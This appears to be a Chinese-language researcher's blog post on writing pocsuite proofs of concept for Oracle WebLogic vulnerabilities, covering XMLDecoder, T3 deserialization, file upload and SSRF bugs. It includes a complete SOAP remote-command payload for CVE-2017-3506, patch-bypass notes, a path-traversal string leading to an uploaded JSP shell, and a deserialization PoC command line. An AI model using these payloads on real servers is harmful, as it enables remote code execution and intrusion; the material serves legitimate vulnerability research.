WebLogic漏洞pocsuite編寫

Weblogic XMLDecoder

CVE-2017-3506

PoC:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
          <java>
            <object class="java.lang.ProcessBuilder">
              <array class="java.lang.String" length="3">
				<void index = "0">
					<string>cmd</string>
				</void>
				<void index = "1"> 
					<string>/c</string> 
				</void>
				<void index = "2">
					<string>calc</string>
				</void>
              </array>
              <void method="start"/>
            </object>
          </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
    </soapenv:Envelope>

CVE-2017-10271

由於Oracle對CVE-2017-3506的補丁

private void validate(InputStream is) {
      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
      try {
         SAXParser parser = factory.newSAXParser();
         parser.parse(is, new DefaultHandler() {
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
               if(qName.equalsIgnoreCase("object")) {
                  throw new IllegalStateException("Invalid context type: object");
               }
            }
         });
      } catch (ParserConfigurationException var5) {
         throw new IllegalStateException("Parser Exception", var5);
      } catch (SAXException var6) {
         throw new IllegalStateException("Parser Exception", var6);
     } catch (IOException var7) {
         throw new IllegalStateException("Parser Exception", var7);
      }
   }

僅僅是將class爲object的拋出異常,
在這裏插入圖片描述
然而

VoidElementHandler 是 ObjectElementHandler 類的子類,這也就解釋了爲什麼把 object 標籤換成 Void 標籤也同樣可以造成命令執行。

注意CVE-2019-2725的12的poc比CVE-2017-10271多了這麼一個body。
而且裏面必須多這樣幾個屬性:

xmlns:wsa="http://www.w3.org/2005/08/addressing" 
xmlns:asy="http://www.bea.com/async/AsyncResponseService"

在這裏插入圖片描述

CVE-2019-2725

tested on:

  • weblogic 12.1.3.0.0, jdk_1.7.0_80
  • weblogic 12.1.3.0.0, jdk_1.8.0_201
  • weblogic 10.3.6.0, jdk_1.6.0_45 (payload不一樣)

適配windows和linux平臺:
在這裏插入圖片描述

在這裏插入圖片描述
由於relatesTo需要有值,所以poc裏必須有這兩行:

<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>

CVE-2019-2729

目前公開的只有10.3.6.0的。

其他

CVE-2019-2890

這個漏洞需要滿足以下兩個條件,才能觸發成功,較爲雞肋。
Weblogic開啓t3協議
可以獲取到SerializedSystemIni.dat文件
但是在實際環境中,如果部署在weblogic的站點存在任意文件下載或者任意文件讀取,那麼配合上該漏洞即可執行任意命令。

參考:
http://gv7.me/articles/2019/cve-2019-2890-vulnerability-analysis/

由於SerializedSystemIni.dat是密鑰文件,各不相同且無法猜解,這裏也就是這個漏洞需要身份認證的原因。

參考:
https://paper.seebug.org/1069/

CVE-2019-2615 任意文件讀取漏洞

需要用戶名密碼,雞肋。

CVE-2019-2618 文件上傳漏洞

需要用戶名密碼,雞肋。
參考:
https://xz.aliyun.com/t/5078

CVE-2018-2894 任意文件上傳

參考:
https://github.com/111ddea/cve-2018-2894
E:\Oracle\Middleware\Oracle_Home_jdk_1.7.0_80\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\WEB-INF\lib\ws-testpage-impl.jar!\com\oracle\webservices\testclient\ws\res\WebserviceResource#importWsTestConfig
在這裏插入圖片描述
在這一行下斷點:

TTestConfig tconfig = (TTestConfig)Unmarshaller.unmarshal(new File(fileName));

在這裏插入圖片描述

發現上傳的文件默認會被上傳到:
在這裏插入圖片描述
user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls\4mcj4y\war\css\upload
這個目錄下。

最後發現filename參數可以被路徑穿越:
在這裏插入圖片描述

然後查看哪些目錄有jsp,
在這裏插入圖片描述

然後查看距離這種目錄所需的…/的距離。
在這裏插入圖片描述
然後拿到這個路徑穿越的距離:

../../../../../../com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3/cmprq0/war/WEB-INF/

但是使用filename的路徑穿越:
在這裏插入圖片描述
跳不出這個目錄:

E:\Oracle\Middleware\Oracle_Home_jdk_1.7.0_80\user_projects\domains\base_domain\servers\AdminServer\tmp

但是使用name的路徑穿越,可以穿越到:

E:\Oracle\Middleware\Oracle_Home_jdk_1.7.0_80\wlserver\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images

在這裏插入圖片描述
直接訪問:

http://cqq.com:7001/console/framework/skins/wlsconsole/images/_1shell.jsp

在這裏插入圖片描述

pocsuite:
在這裏插入圖片描述

Demo:
在這裏插入圖片描述

嘗試了XXE,但是標籤名貌似錯誤了。

1.需要知道部署應用的web目錄。
2. ws_utc/config.do在開發模式下無需認證,在生產模式下需要認證。

參考:
https://www.freebuf.com/column/205469.html

weblogic t3

  1. CVE-2015-4852
    影響版本:10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0
    oracle_common/modules/com.bea.core.apache.commons.collections.jar

  2. CVE-2016-0638(CVE-2015-4852補丁的繞過)
    影響版本:10.3.6, 12.1.2, 12.1.3, and 12.2.1

  3. CVE-2016-3510(繞過之前的CVE-2015-4852和CVE-2016-0638漏洞的修復補丁。)
    影響版本:10.3.6.0, 12.1.3.0, and 12.2.1.0

  4. CVE-2017-3248(JRMP)
    影響版本:10.3.6.0, 12.1.3.0, 12.2.1.0 and 12.2.1.1

  5. CVE-2018-2628(繞過了CVE-2017-3248漏洞的修復補丁)
    影響版本:10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3

  6. CVE-2018-2893(繞過CVE-2018-2628補丁,POC相當於CVE-2016-0638和CVE-2017-3248的結合體)
    影響版本:10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3

參考:
https://www.freebuf.com/vuls/179579.html
https://www.freebuf.com/column/197339.html

CVE-2018-3245
影響版本:10.3.6.0, 12.1.3.0 and 12.2.1.3

CVE-2020-2546

CVE-2020-2555

CVE-2015-4852

從經典的這個漏洞開始:
在這裏插入圖片描述
參考:
https://5alt.me/2018/04/weblogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E8%B0%83%E8%AF%95/

如何不依賴ysoerial的jar包,只用序列化文件,然後傳入參數即可通過dnslog的數據判斷是否存在漏洞。

對於dnglog長度固定的場景,可以直接用ysoserial生成之後的payload,而不用依賴jar包,因爲生成的ser長度一樣,只修改字符串即可。

在這裏插入圖片描述
在這裏插入圖片描述

使用CommonsCollections1的payload,
weblogic 12.1.3.0.0, jdk_1.7.0_80報錯:

java.lang.ClassCastException: java.lang.Integer cannot be cast to java.util.Set

weblogic 12.1.3.0.0, jdk_1.8.0_201報錯:

java.lang.annotation.IncompleteAnnotationException: java.lang.Override missing element entrySet

會產生

socket.timeout: timed out

於是我去掉了weblogic_t3.py裏面的這兩句:

data = sock.recv(1024)
print('received "%s"' % data)

即只發送,不用接收,避免timeout。

調試

oracle_common/modules/com.bea.core.apache.commons.collections_1.0.0.0_3-2.jar
在這裏插入圖片描述

CVE-2016-0638

所以如果能找到可以在其readObject中創建自己的InputStream的對象,並且不是使用黑名單中的ServerChannelInputStream和MsgAbbrevInputStream的readExternal進行的反序列化,最後調用readObject()方法進行反序列化的數據的讀取,這樣就可以執行含有惡意代碼的序列化代碼。CVE-2016-0638漏洞就是依據這個思路找到了weblogic.jms.common.StreamMessageImpl類,其中的readExternal()方法也符合攻擊的需求。攻擊者可以在其中構造一個惡意的ObjectInputStream來實現payload內部的InputStream創建,調用readObject()方法,實現攻擊。

參考:https://y4er.com/post/weblogic-cve-2016-0638/

將斷點下在:wlserver/server/lib/wlthint3client.jar!weblogic.jms.common.StreamMessageImpl
看一下這次不一樣的調用棧:
在這裏插入圖片描述
使用github上poc基本都是複製的,最後找到這個:

加上命令行參數:

-H "127.0.0.1" -C "calc" -B -os win

參考:
https://www.cnblogs.com/afanti/p/10240217.html
成功彈出計算器。
看一下這次的調用棧:
在這裏插入圖片描述
爲了繞過 CVE-2015-4852補丁的攔截方法,這裏走了
wlserver\server\lib\weblogic-classes.jar!\weblogic\jms\common\StreamMessageImpl#readExternal(ObjectInput in)
繞道進行了反序列化。
這裏利用weblogic自己構造的ObjectInputStream,繞過補丁中攔截的方法。

在這裏插入圖片描述
Demo:
在這裏插入圖片描述
使用這個項目生成反序列化文件:
https://github.com/5up3rc/weblogic_cmd

其他

CVE-2014-4210 SSRF

在這裏插入圖片描述
存在SSRF注入點operator參數不在界面上,而是前端在點擊Search的時候構造出來的。
Demo:
在這裏插入圖片描述

參考:
https://github.com/NoneNotNull/SSRFX/blob/master/attacklibs/weblogic.py

觸發頁面:
http://cqq.com:7001/uddiexplorer/SearchPublicRegistries.jsp

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章